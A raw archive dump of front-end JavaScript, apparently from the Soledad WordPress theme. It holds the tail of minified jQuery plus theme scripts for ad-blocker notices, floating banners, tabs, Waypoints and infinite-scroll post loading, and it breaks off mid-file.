"))[1]===o&&(a=l[u+" "+s[0]]||l["* "+s[0]])){!0===a?a=l[i]:!0!==l[i]&&(o=s[0],c.unshift(s[1]));break}if(!0!==a)if(a&&e["throws"])t=a(t);else try{t=a(t)}catch(e){return{state:"parsererror",error:a?e:"No conversion from "+u+" to "+o}}}return{state:"success",data:t}}(v,s,T,i),i?(v.ifModified&&((u=T.getResponseHeader("Last-Modified"))&&(S.lastModified[f]=u),(u=T.getResponseHeader("etag"))&&(S.etag[f]=u)),204===e||"HEAD"===v.type?l="nocontent":304===e?l="notmodified":(l=s.state,o=s.data,i=!(a=s.error))):(a=l,!e&&l||(l="error",e<0&&(e=0))),T.status=e,T.statusText=(t||l)+"",i?x.resolveWith(y,[o,l,T]):x.rejectWith(y,[T,l,a]),T.statusCode(w),w=void 0,g&&m.trigger(i?"ajaxSuccess":"ajaxError",[T,v,i?o:a]),b.fireWith(y,[T,l]),g&&(m.trigger("ajaxComplete",[T,v]),--S.active||S.event.trigger("ajaxStop")))}return T},getJSON:function(e,t,n){return S.get(e,t,n,"json")},getScript:function(e,t){return S.get(e,void 0,t,"script")}}),S.each(["get","post"],function(e,i){S[i]=function(e,t,n,r){return m(t)&&(r=r||n,n=t,t=void 0),S.ajax(S.extend({url:e,type:i,dataType:r,data:t,success:n},S.isPlainObject(e)&&e))}}),S.ajaxPrefilter(function(e){var t;for(t in e.headers)"content-type"===t.toLowerCase()&&(e.contentType=e.headers[t]||"")}),S._evalUrl=function(e,t,n){return S.ajax({url:e,type:"GET",dataType:"script",cache:!0,async:!1,global:!1,converters:{"text script":function(){}},dataFilter:function(e){S.globalEval(e,t,n)}})},S.fn.extend({wrapAll:function(e){var t;return this[0]&&(m(e)&&(e=e.call(this[0])),t=S(e,this[0].ownerDocument).eq(0).clone(!0),this[0].parentNode&&t.insertBefore(this[0]),t.map(function(){var e=this;while(e.firstElementChild)e=e.firstElementChild;return e}).append(this)),this},wrapInner:function(n){return m(n)?this.each(function(e){S(this).wrapInner(n.call(this,e))}):this.each(function(){var e=S(this),t=e.contents();t.length?t.wrapAll(n):e.append(n)})},wrap:function(t){var n=m(t);return this.each(function(e){S(this).wrapAll(n?t.call(this,e):t)})},unwrap:function(e){return this.parent(e).not("body").each(function(){S(this).replaceWith(this.childNodes)}),this}}),S.expr.pseudos.hidden=function(e){return!S.expr.pseudos.visible(e)},S.expr.pseudos.visible=function(e){return!!(e.offsetWidth||e.offsetHeight||e.getClientRects().length)},S.ajaxSettings.xhr=function(){try{return new C.XMLHttpRequest}catch(e){}};var Bt={0:200,1223:204},$t=S.ajaxSettings.xhr();y.cors=!!$t&&"withCredentials"in $t,y.ajax=$t=!!$t,S.ajaxTransport(function(i){var o,a;if(y.cors||$t&&!i.crossDomain)return{send:function(e,t){var n,r=i.xhr();if(r.open(i.type,i.url,i.async,i.username,i.password),i.xhrFields)for(n in i.xhrFields)r[n]=i.xhrFields[n];for(n in i.mimeType&&r.overrideMimeType&&r.overrideMimeType(i.mimeType),i.crossDomain||e["X-Requested-With"]||(e["X-Requested-With"]="XMLHttpRequest"),e)r.setRequestHeader(n,e[n]);o=function(e){return function(){o&&(o=a=r.onload=r.onerror=r.onabort=r.ontimeout=r.onreadystatechange=null,"abort"===e?r.abort():"error"===e?"number"!=typeof r.status?t(0,"error"):t(r.status,r.statusText):t(Bt[r.status]||r.status,r.statusText,"text"!==(r.responseType||"text")||"string"!=typeof r.responseText?{binary:r.response}:{text:r.responseText},r.getAllResponseHeaders()))}},r.onload=o(),a=r.onerror=r.ontimeout=o("error"),void 0!==r.onabort?r.onabort=a:r.onreadystatechange=function(){4===r.readyState&&C.setTimeout(function(){o&&a()})},o=o("abort");try{r.send(i.hasContent&&i.data||null)}catch(e){if(o)throw e}},abort:function(){o&&o()}}}),S.ajaxPrefilter(function(e){e.crossDomain&&(e.contents.script=!1)}),S.ajaxSetup({accepts:{script:"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript"},contents:{script:/\b(?:java|ecma)script\b/},converters:{"text script":function(e){return S.globalEval(e),e}}}),S.ajaxPrefilter("script",function(e){void 0===e.cache&&(e.cache=!1),e.crossDomain&&(e.type="GET")}),S.ajaxTransport("script",function(n){var r,i;if(n.crossDomain||n.scriptAttrs)return{send:function(e,t){r=S("<script>").attr(n.scriptAttrs||{}).prop({charset:n.scriptCharset,src:n.url}).on("load error",i=function(e){r.remove(),i=null,e&&t("error"===e.type?404:200,e.type)}),E.head.appendChild(r[0])},abort:function(){i&&i()}}});var _t,zt=[],Ut=/(=)\?(?=&|$)|\?\?/;S.ajaxSetup({jsonp:"callback",jsonpCallback:function(){var e=zt.pop()||S.expando+"_"+wt.guid++;return this[e]=!0,e}}),S.ajaxPrefilter("json jsonp",function(e,t,n){var r,i,o,a=!1!==e.jsonp&&(Ut.test(e.url)?"url":"string"==typeof e.data&&0===(e.contentType||"").indexOf("application/x-www-form-urlencoded")&&Ut.test(e.data)&&"data");if(a||"jsonp"===e.dataTypes[0])return r=e.jsonpCallback=m(e.jsonpCallback)?e.jsonpCallback():e.jsonpCallback,a?e[a]=e[a].replace(Ut,"$1"+r):!1!==e.jsonp&&(e.url+=(Tt.test(e.url)?"&":"?")+e.jsonp+"="+r),e.converters["script json"]=function(){return o||S.error(r+" was not called"),o[0]},e.dataTypes[0]="json",i=C[r],C[r]=function(){o=arguments},n.always(function(){void 0===i?S(C).removeProp(r):C[r]=i,e[r]&&(e.jsonpCallback=t.jsonpCallback,zt.push(r)),o&&m(i)&&i(o[0]),o=i=void 0}),"script"}),y.createHTMLDocument=((_t=E.implementation.createHTMLDocument("").body).innerHTML="<form></form><form></form>",2===_t.childNodes.length),S.parseHTML=function(e,t,n){return"string"!=typeof e?[]:("boolean"==typeof t&&(n=t,t=!1),t||(y.createHTMLDocument?((r=(t=E.implementation.createHTMLDocument("")).createElement("base")).href=E.location.href,t.head.appendChild(r)):t=E),o=!n&&[],(i=N.exec(e))?[t.createElement(i[1])]:(i=xe([e],t,o),o&&o.length&&S(o).remove(),S.merge([],i.childNodes)));var r,i,o},S.fn.load=function(e,t,n){var r,i,o,a=this,s=e.indexOf(" ");return-1<s&&(r=ht(e.slice(s)),e=e.slice(0,s)),m(t)?(n=t,t=void 0):t&&"object"==typeof t&&(i="POST"),0<a.length&&S.ajax({url:e,type:i||"GET",dataType:"html",data:t}).done(function(e){o=arguments,a.html(r?S("<div>").append(S.parseHTML(e)).find(r):e)}).always(n&&function(e,t){a.each(function(){n.apply(this,o||[e.responseText,t,e])})}),this},S.expr.pseudos.animated=function(t){return S.grep(S.timers,function(e){return t===e.elem}).length},S.offset={setOffset:function(e,t,n){var r,i,o,a,s,u,l=S.css(e,"position"),c=S(e),f={};"static"===l&&(e.style.position="relative"),s=c.offset(),o=S.css(e,"top"),u=S.css(e,"left"),("absolute"===l||"fixed"===l)&&-1<(o+u).indexOf("auto")?(a=(r=c.position()).top,i=r.left):(a=parseFloat(o)||0,i=parseFloat(u)||0),m(t)&&(t=t.call(e,n,S.extend({},s))),null!=t.top&&(f.top=t.top-s.top+a),null!=t.left&&(f.left=t.left-s.left+i),"using"in t?t.using.call(e,f):c.css(f)}},S.fn.extend({offset:function(t){if(arguments.length)return void 0===t?this:this.each(function(e){S.offset.setOffset(this,t,e)});var e,n,r=this[0];return r?r.getClientRects().length?(e=r.getBoundingClientRect(),n=r.ownerDocument.defaultView,{top:e.top+n.pageYOffset,left:e.left+n.pageXOffset}):{top:0,left:0}:void 0},position:function(){if(this[0]){var e,t,n,r=this[0],i={top:0,left:0};if("fixed"===S.css(r,"position"))t=r.getBoundingClientRect();else{t=this.offset(),n=r.ownerDocument,e=r.offsetParent||n.documentElement;while(e&&(e===n.body||e===n.documentElement)&&"static"===S.css(e,"position"))e=e.parentNode;e&&e!==r&&1===e.nodeType&&((i=S(e).offset()).top+=S.css(e,"borderTopWidth",!0),i.left+=S.css(e,"borderLeftWidth",!0))}return{top:t.top-i.top-S.css(r,"marginTop",!0),left:t.left-i.left-S.css(r,"marginLeft",!0)}}},offsetParent:function(){return this.map(function(){var e=this.offsetParent;while(e&&"static"===S.css(e,"position"))e=e.offsetParent;return e||re})}}),S.each({scrollLeft:"pageXOffset",scrollTop:"pageYOffset"},function(t,i){var o="pageYOffset"===i;S.fn[t]=function(e){return $(this,function(e,t,n){var r;if(x(e)?r=e:9===e.nodeType&&(r=e.defaultView),void 0===n)return r?r[i]:e[t];r?r.scrollTo(o?r.pageXOffset:n,o?n:r.pageYOffset):e[t]=n},t,e,arguments.length)}}),S.each(["top","left"],function(e,n){S.cssHooks[n]=Fe(y.pixelPosition,function(e,t){if(t)return t=We(e,n),Pe.test(t)?S(e).position()[n]+"px":t})}),S.each({Height:"height",Width:"width"},function(a,s){S.each({padding:"inner"+a,content:s,"":"outer"+a},function(r,o){S.fn[o]=function(e,t){var n=arguments.length&&(r||"boolean"!=typeof e),i=r||(!0===e||!0===t?"margin":"border");return $(this,function(e,t,n){var r;return x(e)?0===o.indexOf("outer")?e["inner"+a]:e.document.documentElement["client"+a]:9===e.nodeType?(r=e.documentElement,Math.max(e.body["scroll"+a],r["scroll"+a],e.body["offset"+a],r["offset"+a],r["client"+a])):void 0===n?S.css(e,t,i):S.style(e,t,n,i)},s,n?e:void 0,n)}})}),S.each(["ajaxStart","ajaxStop","ajaxComplete","ajaxError","ajaxSuccess","ajaxSend"],function(e,t){S.fn[t]=function(e){return this.on(t,e)}}),S.fn.extend({bind:function(e,t,n){return this.on(e,null,t,n)},unbind:function(e,t){return this.off(e,null,t)},delegate:function(e,t,n,r){return this.on(t,e,n,r)},undelegate:function(e,t,n){return 1===arguments.length?this.off(e,"**"):this.off(t,e||"**",n)},hover:function(e,t){return this.mouseenter(e).mouseleave(t||e)}}),S.each("blur focus focusin focusout resize scroll click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup contextmenu".split(" "),function(e,n){S.fn[n]=function(e,t){return 0<arguments.length?this.on(n,null,e,t):this.trigger(n)}});var Xt=/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g;S.proxy=function(e,t){var n,r,i;if("string"==typeof t&&(n=e[t],t=e,e=n),m(e))return r=s.call(arguments,2),(i=function(){return e.apply(t||this,r.concat(s.call(arguments)))}).guid=e.guid=e.guid||S.guid++,i},S.holdReady=function(e){e?S.readyWait++:S.ready(!0)},S.isArray=Array.isArray,S.parseJSON=JSON.parse,S.nodeName=A,S.isFunction=m,S.isWindow=x,S.camelCase=X,S.type=w,S.now=Date.now,S.isNumeric=function(e){var t=S.type(e);return("number"===t||"string"===t)&&!isNaN(e-parseFloat(e))},S.trim=function(e){return null==e?"":(e+"").replace(Xt,"")},"function"==typeof define&&define.amd&&define("jquery",[],function(){return S});var Vt=C.jQuery,Gt=C.$;return S.noConflict=function(e){return C.$===S&&(C.$=Gt),e&&C.jQuery===S&&(C.jQuery=Vt),S},"undefined"==typeof e&&(C.jQuery=C.$=S),S});
jQuery.noConflict();PK     N\b	  	    js/detector.jsnu [        (function ($) {
    "use strict";
    var PENCI = PENCI || {};
    PENCI.AdBlocker = function () {
        if (penci_options_set.ad_blocker_detector) {
            var ad_container = $('.Ad-Container');
            if (ad_container.length > 0 && ad_container.css('display') === 'none') {

                if ($('.penci-adblocker-popup').length > 0) {
                    if (penci_options_set.ad_blocker_detector_delay) {
                        setTimeout(function () {
                            PENCI.ShowAdBLockerNotice();
                        }, penci_options_set.ad_blocker_detector_delay);
                    } else {
                        PENCI.ShowAdBLockerNotice();
                    }
                }
            }
        }
    };

    PENCI.ShowAdBLockerNotice = function () {

        if (PENCI.getcookie('penci_adblocker_popup_onetime')) {
            return;
        }

        $.magnificPopup.open({
            items: {
                src: '.penci-adblocker-popup'
            },
            type: 'inline',
            removalDelay: 500,
            tClose: false,
            tLoading: false,
            closeOnBgClick: false,
            callbacks: {
                beforeOpen: function () {
                    this.st.mainClass = 'mfp-ani-wrap penci-promo-popup-wrapper';
                },
                close: function () {
                    if (penci_options_set.penci_adblocker_popup_onetime) {
                        PENCI.setcookie('penci_adblocker_popup_onetime', '1');
                    }
                }
            }
        });
    };

    PENCI.getcookie = function (cname) {
        let name = cname + "=";
        let decodedCookie = decodeURIComponent(document.cookie);
        let ca = decodedCookie.split(';');
        for (let i = 0; i < ca.length; i++) {
            let c = ca[i];
            while (c.charAt(0) == ' ') {
                c = c.substring(1);
            }
            if (c.indexOf(name) == 0) {
                return c.substring(name.length, c.length);
            }
        }
        return "";
    }

    PENCI.setcookie = function (cname, cvalue, exdays) {
        const d = new Date();
        d.setTime(d.getTime() + (exdays * 24 * 60 * 60 * 1000));
        let expires = "expires=" + d.toUTCString();
        document.cookie = cname + "=" + cvalue + ";" + expires + ";path=/";
    }

    /* Init functions
	 ---------------------------------------------------------------*/
    $(document).ready(function () {
        PENCI.AdBlocker();
    });

})(jQuery);	// EOFPK     N\f      js/customizer.jsnu [        /**
 * Script for customizer controls.
 */
(function ( $, api ){
	// View documentation
	$( '<a  style="display: inline-block; background: #ff0000; padding: 6px 10px; color: #fff; text-decoration: none; line-height: 1; white-space: nowrap; font-size: 13px; margin-top: 10px; text-transform: uppercase; outline: none; font-weight: 500;" class="penci-docs" href="https://soledad.pencidesign.net/soledad-document" target="_blank"></a>' )
		.text( SoledadCustomizerDoc.docs )
		.appendTo( '.preview-notice' );

})( jQuery, wp.customize );PK     N\>^{"  "    js/waypoints.min.jsnu [        /*!
Waypoints - 4.0.0
Copyright © 2011-2015 Caleb Troughton
Licensed under the MIT license.
https://github.com/imakewebthings/waypoints/blog/master/licenses.txt
*/
!function(){"use strict";function t(o){if(!o)throw new Error("No options passed to Waypoint constructor");if(!o.element)throw new Error("No element option passed to Waypoint constructor");if(!o.handler)throw new Error("No handler option passed to Waypoint constructor");this.key="waypoint-"+e,this.options=t.Adapter.extend({},t.defaults,o),this.element=this.options.element,this.adapter=new t.Adapter(this.element),this.callback=o.handler,this.axis=this.options.horizontal?"horizontal":"vertical",this.enabled=this.options.enabled,this.triggerPoint=null,this.group=t.Group.findOrCreate({name:this.options.group,axis:this.axis}),this.context=t.Context.findOrCreateByElement(this.options.context),t.offsetAliases[this.options.offset]&&(this.options.offset=t.offsetAliases[this.options.offset]),this.group.add(this),this.context.add(this),i[this.key]=this,e+=1}var e=0,i={};t.prototype.queueTrigger=function(t){this.group.queueTrigger(this,t)},t.prototype.trigger=function(t){this.enabled&&this.callback&&this.callback.apply(this,t)},t.prototype.destroy=function(){this.context.remove(this),this.group.remove(this),delete i[this.key]},t.prototype.disable=function(){return this.enabled=!1,this},t.prototype.enable=function(){return this.context.refresh(),this.enabled=!0,this},t.prototype.next=function(){return this.group.next(this)},t.prototype.previous=function(){return this.group.previous(this)},t.invokeAll=function(t){var e=[];for(var o in i)e.push(i[o]);for(var n=0,r=e.length;r>n;n++)e[n][t]()},t.destroyAll=function(){t.invokeAll("destroy")},t.disableAll=function(){t.invokeAll("disable")},t.enableAll=function(){t.invokeAll("enable")},t.refreshAll=function(){t.Context.refreshAll()},t.viewportHeight=function(){return window.innerHeight||document.documentElement.clientHeight},t.viewportWidth=function(){return document.documentElement.clientWidth},t.adapters=[],t.defaults={context:window,continuous:!0,enabled:!0,group:"default",horizontal:!1,offset:0},t.offsetAliases={"bottom-in-view":function(){return this.context.innerHeight()-this.adapter.outerHeight()},"right-in-view":function(){return this.context.innerWidth()-this.adapter.outerWidth()}},window.Waypoint=t}(),function(){"use strict";function t(t){window.setTimeout(t,1e3/60)}function e(t){this.element=t,this.Adapter=n.Adapter,this.adapter=new this.Adapter(t),this.key="waypoint-context-"+i,this.didScroll=!1,this.didResize=!1,this.oldScroll={x:this.adapter.scrollLeft(),y:this.adapter.scrollTop()},this.waypoints={vertical:{},horizontal:{}},t.waypointContextKey=this.key,o[t.waypointContextKey]=this,i+=1,this.createThrottledScrollHandler(),this.createThrottledResizeHandler()}var i=0,o={},n=window.Waypoint,r=window.onload;e.prototype.add=function(t){var e=t.options.horizontal?"horizontal":"vertical";this.waypoints[e][t.key]=t,this.refresh()},e.prototype.checkEmpty=function(){var t=this.Adapter.isEmptyObject(this.waypoints.horizontal),e=this.Adapter.isEmptyObject(this.waypoints.vertical);t&&e&&(this.adapter.off(".waypoints"),delete o[this.key])},e.prototype.createThrottledResizeHandler=function(){function t(){e.handleResize(),e.didResize=!1}var e=this;this.adapter.on("resize.waypoints",function(){e.didResize||(e.didResize=!0,n.requestAnimationFrame(t))})},e.prototype.createThrottledScrollHandler=function(){function t(){e.handleScroll(),e.didScroll=!1}var e=this;this.adapter.on("scroll.waypoints",function(){(!e.didScroll||n.isTouch)&&(e.didScroll=!0,n.requestAnimationFrame(t))})},e.prototype.handleResize=function(){n.Context.refreshAll()},e.prototype.handleScroll=function(){var t={},e={horizontal:{newScroll:this.adapter.scrollLeft(),oldScroll:this.oldScroll.x,forward:"right",backward:"left"},vertical:{newScroll:this.adapter.scrollTop(),oldScroll:this.oldScroll.y,forward:"down",backward:"up"}};for(var i in e){var o=e[i],n=o.newScroll>o.oldScroll,r=n?o.forward:o.backward;for(var s in this.waypoints[i]){var a=this.waypoints[i][s],l=o.oldScroll<a.triggerPoint,h=o.newScroll>=a.triggerPoint,p=l&&h,u=!l&&!h;(p||u)&&(a.queueTrigger(r),t[a.group.id]=a.group)}}for(var c in t)t[c].flushTriggers();this.oldScroll={x:e.horizontal.newScroll,y:e.vertical.newScroll}},e.prototype.innerHeight=function(){return this.element==this.element.window?n.viewportHeight():this.adapter.innerHeight()},e.prototype.remove=function(t){delete this.waypoints[t.axis][t.key],this.checkEmpty()},e.prototype.innerWidth=function(){return this.element==this.element.window?n.viewportWidth():this.adapter.innerWidth()},e.prototype.destroy=function(){var t=[];for(var e in this.waypoints)for(var i in this.waypoints[e])t.push(this.waypoints[e][i]);for(var o=0,n=t.length;n>o;o++)t[o].destroy()},e.prototype.refresh=function(){var t,e=this.element==this.element.window,i=e?void 0:this.adapter.offset(),o={};this.handleScroll(),t={horizontal:{contextOffset:e?0:i.left,contextScroll:e?0:this.oldScroll.x,contextDimension:this.innerWidth(),oldScroll:this.oldScroll.x,forward:"right",backward:"left",offsetProp:"left"},vertical:{contextOffset:e?0:i.top,contextScroll:e?0:this.oldScroll.y,contextDimension:this.innerHeight(),oldScroll:this.oldScroll.y,forward:"down",backward:"up",offsetProp:"top"}};for(var r in t){var s=t[r];for(var a in this.waypoints[r]){var l,h,p,u,c,d=this.waypoints[r][a],f=d.options.offset,w=d.triggerPoint,y=0,g=null==w;d.element!==d.element.window&&(y=d.adapter.offset()[s.offsetProp]),"function"==typeof f?f=f.apply(d):"string"==typeof f&&(f=parseFloat(f),d.options.offset.indexOf("%")>-1&&(f=Math.ceil(s.contextDimension*f/100))),l=s.contextScroll-s.contextOffset,d.triggerPoint=y+l-f,h=w<s.oldScroll,p=d.triggerPoint>=s.oldScroll,u=h&&p,c=!h&&!p,!g&&u?(d.queueTrigger(s.backward),o[d.group.id]=d.group):!g&&c?(d.queueTrigger(s.forward),o[d.group.id]=d.group):g&&s.oldScroll>=d.triggerPoint&&(d.queueTrigger(s.forward),o[d.group.id]=d.group)}}return n.requestAnimationFrame(function(){for(var t in o)o[t].flushTriggers()}),this},e.findOrCreateByElement=function(t){return e.findByElement(t)||new e(t)},e.refreshAll=function(){for(var t in o)o[t].refresh()},e.findByElement=function(t){return o[t.waypointContextKey]},window.onload=function(){r&&r(),e.refreshAll()},n.requestAnimationFrame=function(e){var i=window.requestAnimationFrame||window.mozRequestAnimationFrame||window.webkitRequestAnimationFrame||t;i.call(window,e)},n.Context=e}(),function(){"use strict";function t(t,e){return t.triggerPoint-e.triggerPoint}function e(t,e){return e.triggerPoint-t.triggerPoint}function i(t){this.name=t.name,this.axis=t.axis,this.id=this.name+"-"+this.axis,this.waypoints=[],this.clearTriggerQueues(),o[this.axis][this.name]=this}var o={vertical:{},horizontal:{}},n=window.Waypoint;i.prototype.add=function(t){this.waypoints.push(t)},i.prototype.clearTriggerQueues=function(){this.triggerQueues={up:[],down:[],left:[],right:[]}},i.prototype.flushTriggers=function(){for(var i in this.triggerQueues){var o=this.triggerQueues[i],n="up"===i||"left"===i;o.sort(n?e:t);for(var r=0,s=o.length;s>r;r+=1){var a=o[r];(a.options.continuous||r===o.length-1)&&a.trigger([i])}}this.clearTriggerQueues()},i.prototype.next=function(e){this.waypoints.sort(t);var i=n.Adapter.inArray(e,this.waypoints),o=i===this.waypoints.length-1;return o?null:this.waypoints[i+1]},i.prototype.previous=function(e){this.waypoints.sort(t);var i=n.Adapter.inArray(e,this.waypoints);return i?this.waypoints[i-1]:null},i.prototype.queueTrigger=function(t,e){this.triggerQueues[e].push(t)},i.prototype.remove=function(t){var e=n.Adapter.inArray(t,this.waypoints);e>-1&&this.waypoints.splice(e,1)},i.prototype.first=function(){return this.waypoints[0]},i.prototype.last=function(){return this.waypoints[this.waypoints.length-1]},i.findOrCreate=function(t){return o[t.axis][t.name]||new i(t)},n.Group=i}(),function(){"use strict";function t(t){this.$element=e(t)}var e=window.jQuery,i=window.Waypoint;e.each(["innerHeight","innerWidth","off","offset","on","outerHeight","outerWidth","scrollLeft","scrollTop"],function(e,i){t.prototype[i]=function(){var t=Array.prototype.slice.call(arguments);return this.$element[i].apply(this.$element,t)}}),e.each(["extend","inArray","isEmptyObject"],function(i,o){t[o]=e[o]}),i.adapters.push({name:"jquery",Adapter:t}),i.Adapter=t}(),function(){"use strict";function t(t){return function(){var i=[],o=arguments[0];return (typeof arguments[0] === 'function')&&(o=t.extend({},arguments[1]),o.handler=arguments[0]),this.each(function(){var n=t.extend({},o,{element:this});"string"==typeof n.context&&(n.context=t(this).closest(n.context)[0]),i.push(new e(n))}),i}}var e=window.Waypoint;window.jQuery&&(window.jQuery.fn.waypoint=t(window.jQuery)),window.Zepto&&(window.Zepto.fn.waypoint=t(window.Zepto))}();PK     N\l'	  '	    js/float-banner.jsnu [        (function ($) {
    "use strict";
    var containerID = $('.enable-boxed').length ? 'soledad_wrapper' : 'side-ads-container',
        mainContainer = document.getElementById('side-ads-container'),
        containerElem = document.getElementById(containerID),
        objAdDivRight = document.getElementById('side-ads-right'),
        objAdDivLeft = document.getElementById('side-ads-left'),
        body = document.querySelector('body'),
        html = document.querySelector('html'),
        mainContentW = containerElem.offsetWidth,
        sideMargin = 15,
        marginTop = parseInt(mainContainer.dataset.mt),
        marginTopScroll = parseInt(mainContainer.dataset.mts),
        LeftBannerW = parseInt(mainContainer.dataset.w);

    function FloatTopDiv() {
        let startLX;
        let startLY;
        startLX = ((document.body.clientWidth - mainContentW) / 2) - (LeftBannerW + sideMargin), startLY = marginTop;
        let startRX;
        let startRY;
        startRX = ((document.body.clientWidth - mainContentW) / 2) + (mainContentW + sideMargin), startRY = marginTop;

        var d = document;
        var scrollTopCheck = window.pageYOffset || d.documentElement.scrollTop || d.body.scrollTop || 0;

        function set_position(divID, xP, yP) {
            divID.style.left = xP + 'px';
            divID.style.marginTop = yP + 'px';
        }

        if (scrollTopCheck >= Math.abs(marginTop - marginTopScroll)) {
            startLY = marginTopScroll;
            startRY = marginTopScroll;
            objAdDivLeft.style.position = 'fixed';
            objAdDivRight.style.position = 'fixed';
        } else {
            startLY = marginTop;
            startRY = marginTop;
            objAdDivLeft.style.position = 'absolute';
            objAdDivRight.style.position = 'absolute';
        }


        set_position(objAdDivLeft, startLX, startLY);
        set_position(objAdDivRight, startRX, startRY);
    }


    function ShowAdDiv() {
        objAdDivRight.style.display = objAdDivLeft.style.display = 'block';
        body.style.overflowX = html.style.overflowX = 'hidden';
        FloatTopDiv();
    }

    ShowAdDiv();


    window.addEventListener('resize', function () {
        FloatTopDiv();
    });
    window.addEventListener('scroll', function () {
        FloatTopDiv();
    });


})(jQuery);	// EOF
PK     N\}      js/widget-tabs.jsnu [        (function ($) {
    "use strict";
    var PENCI = PENCI || {};
    PENCI.tabswidget = function () {
        $(document).on('click', '.penc-posts-tabs .tabs li a', function (e) {
            var parent = $(this).closest('.penc-posts-tabs'),
                li = $(this).parent('li'),
                tab = li.data('tab');

            e.preventDefault();

            parent.find('.tabs ul > li').removeClass('active');
            li.addClass('active');

            parent.find('.tabs-content > div').removeClass('active').addClass('inactive');
            parent.find('.' + tab).addClass('active');
        });
    };

    $(document).ready(function () {
        PENCI.tabswidget();
    });
})(jQuery);
PK     N\qx      js/more-post-scroll.min.jsnu [        jQuery(document).ready(function(a){function b(a){var b=new penciBlock;return jQuery.each(penciBlocksArray,function(c,d){d.blockID===a&&(b=penciBlocksArray[c])}),b}if(a(".penci-ajax-more-scroll .penci-ajax-more-button").length){var c=function(){a(".penci-ajax-more-scroll .penci-ajax-more-button").each(function(){var c=a(this);a(window).on("scroll",c,function(){var d=c.offset().top,e=c.outerHeight(),f=a(window).height(),g=a(this).scrollTop();if(g>d+e-f&&c.length&&!c.hasClass("loading-posts")){var h=c.data("layout"),i=c.data("number"),j=c.data("mes"),k=c.attr("data-offset"),l=c.data("exclude"),m=c.data("from"),n=c.data("come_from"),o=c.data("mixed"),p=c.data("query"),q=c.data("infeedads"),r=c.data("number"),s=c.data("query_type"),t=c.data("archivetype"),u=c.data("archivevalue"),v=c.data("order"),w=c.data("tag"),x=c.data("cat"),y=c.data("author"),z=c.data("template");c.addClass("loading-posts");var A=b(c.attr("data-blockuid")),B=A.atts_json?JSON.parse(A.atts_json):A.atts_json,C={action:"penci_more_post_ajax",query:p,offset:k,mixed:o,layout:h,exclude:l,from:m,comefrom:n,datafilter:B,template:z,infeedads:q,ppp:i,tag:w,author:y,cat:x,number:r,query_type:s,archivetype:t,archivevalue:u,order:v,nonce:pajax_mscroll.nonce};a.ajax({type:"POST",dataType:"html",url:ajax_var_more.url,data:C,success:function(b){if(b){var d=parseInt(k)+i,e=c.parent().parent().find(".penci-wrapper-data");if(c.attr("data-offset",d),"masonry"===h||"masonry-2"===h){var f=a(b);e.append(f).isotope("appended",f).imagesLoaded(function(){e.isotope("layout")}),a(".container").fitVids(),a().easyPieChart&&a(".penci-piechart").each(function(){var b=a(this);b.one("inview",function(){var a={barColor:b.data("color"),trackColor:b.data("trackcolor"),scaleColor:!1,lineWidth:b.data("thickness"),size:b.data("size"),animate:1e3};b.easyPieChart(a)})})}else{var f=a(b);e.append(f),a(".container").fitVids(),a().easyPieChart&&a(".penci-piechart").each(function(){var b=a(this);b.one("inview",function(){var a={barColor:b.data("color"),trackColor:b.data("trackcolor"),scaleColor:!1,lineWidth:b.data("thickness"),size:b.data("size"),animate:1e3};b.easyPieChart(a)})});var g=a(".penci-post-gallery-container.justified"),l=a(".penci-post-gallery-container.masonry");if(a().justifiedGallery&&g.length&&a(".penci-post-gallery-container.justified").each(function(){var b=a(this);b.justifiedGallery({rowHeight:b.data("height"),lastRow:"nojustify",margins:b.data("margin"),randomize:!1})}),a().isotope&&l.length&&a(".penci-post-gallery-container.masonry .item-gallery-masonry").each(function(){var b=a(this);if(b.attr("title")){var c=b.attr("title");b.children().append("<div class=\"caption\">"+c+"</div>")}}),l.length&&l.each(function(){var b=a(this);b.imagesLoaded(function(){b.isotope({itemSelector:".item-gallery-masonry",transitionDuration:".55s",layoutMode:"masonry"}),b.addClass("loaded"),a(".penci-post-gallery-container.masonry .item-gallery-masonry").each(function(){var b=a(this);b.one("inview",function(){b.addClass("animated")})})})}),a().theiaStickySidebar){var m=90;a("body").hasClass("admin-bar")&&(m=122),a("#main.penci-main-sticky-sidebar, #sidebar.penci-sticky-sidebar").theiaStickySidebar({additionalMarginTop:m})}}a("body").trigger("penci_swiper_sliders"),c.removeClass("loading-posts"),a(document).trigger("penci_bf_check")}else c.find(".ajax-more-text").text(j),c.find("i").remove(),c.removeClass("loading-posts"),setTimeout(function(){c.parent().remove()},1200)},error:function(a,b,c){console.log(a+" :: "+b+" :: "+c)}})}})})};c(),a(document).on("pcajax_loaded",function(){c()})}});PK     N\¶d%  %    js/more-terms-scroll-bg.jsnu [        jQuery(document).ready(function ($) {
    var bgajax_term_more_scroll = function () {
        if (!$('.penci-bgajax-more-terms-scroll .penci-ajax-more-button').length) {
            return;
        }
        $('.penci-bgajax-more-terms-scroll .penci-ajax-more-button').each(function () {
            var $this_scroll = $(this);
            $(window).on('scroll', $this_scroll, function () {
                var hT = $this_scroll.offset().top,
                    hH = $this_scroll.outerHeight(),
                    wH = $(window).height(),
                    wS = $(this).scrollTop();

                if ((wS > (hT + hH - wH)) && $this_scroll.length) {
                    if (!$this_scroll.hasClass('loading-posts')) {
                        var settings = $this_scroll.data('settings'),
                            layout = $this_scroll.data('layout'),
                            mes = $this_scroll.data('mes'),
                            pagednum = $this_scroll.attr('data-pagednum');

                        $this_scroll.addClass('loading-posts');

                        var data = {
                            action: 'penci_bgmore_terms_ajax',
                            settings: settings,
                            layout: layout,
                            pagednum: pagednum,
                            scroll: true,
                            nonce: penci_bgajax_more_terms.nonce,
                        };


                        $.ajax({
                            type: "POST",
                            dataType: "html",
                            url: penci_bgajax_more_terms.url,
                            data: data,
                            success: function (data) {
                                if (data) {
                                    var data_paded = parseInt(pagednum) + 1,
                                        $wrap_content = $this_scroll.parent().parent().find('.penci-biggrid-data');

                                    $this_scroll.attr('data-pagednum', data_paded);

                                    if (layout === 'style-2') {
                                        var $data = $(data);
                                        $wrap_content.append($data).isotope('appended', $data).imagesLoaded(function () {
                                            $wrap_content.isotope('layout');
                                        });


                                    } else {
                                        var $data = $(data);
                                        if (layout === 'style-1') {
                                            $wrap_content.append($data);
                                        } else {
                                            $wrap_content.parent().append($data);
                                        }

                                    }

                                    if ($().theiaStickySidebar) {
                                        var top_margin = 90;
                                        if ($('body').hasClass('admin-bar')) {
                                            top_margin = 122;
                                        }
